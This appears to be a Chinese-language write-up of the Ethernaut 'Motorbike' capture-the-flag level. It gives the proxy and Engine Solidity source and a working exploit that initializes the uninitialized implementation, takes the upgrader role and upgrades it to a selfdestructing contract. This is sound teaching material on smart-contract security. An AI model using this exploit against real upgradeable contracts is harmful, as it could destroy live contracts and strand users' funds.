Skip to main content

Motorbike

题目源码

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

题目要求

题目要求调用Engine合约的selfdestruct自毁方法,使Motorbike合约变得不可用

题目分析

初始化实例以后,控制台的contract是指Motorbike合约,通过构造方法我们看到在插槽_IMPLEMENTATION_SLOT的位置部署了一个实现合约,通过读取Storage查看_IMPLEMENTATION_SLOT位置的合约地址。然后再看对应合约地址上upgraderhorsePower发现都是 0。所以可以确定_IMPLEMENTATION_SLOT位置的合约并没有调用initialize进行初始化。

攻击方法就是我们自己实现一个攻击合约,去调用_IMPLEMENTATION_SLOT位置合约的initialize方法进行初始化,这样upgrader就是我们自己编写的攻击合约,然后再通过攻击合约调用upgradeToAndCall升级一个带有selfdestruct方法的新合约。再调用新实现合约的selfdestruct即可实现题目要求

攻击步骤

  1. 读取_IMPLEMENTATION_SLOT位置合约地址
await web3.eth.getStorageAt(
instance,
"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"
)
=> 0x00000000000000000000000083a043540b2ab7efd8913f8bce4d92361b9ee55a
=> 合约地址为: 0x83a043540b2ab7efd8913f8bce4d92361b9ee55a
  1. 编写攻击合约
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

interface IEngine {
function initialize() external;
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable;
}
// 攻击合约
contract MotorbikeAttack {
function initialize(IEngine _engine) external {
_engine.initialize();
}

function upgrade(IEngine _engine,address _newImplementation) external {
_engine.upgradeToAndCall(_newImplementation,abi.encodeWithSignature("destruct()"));
}
}

// 新的实现合约
contract NewImplementation {
function destruct() external {
selfdestruct(tx.origin);
}
}

分别部署攻击合约和新的实现合约。然后再依次调用攻击合约的initializeupgrade方法,即可实现题目要求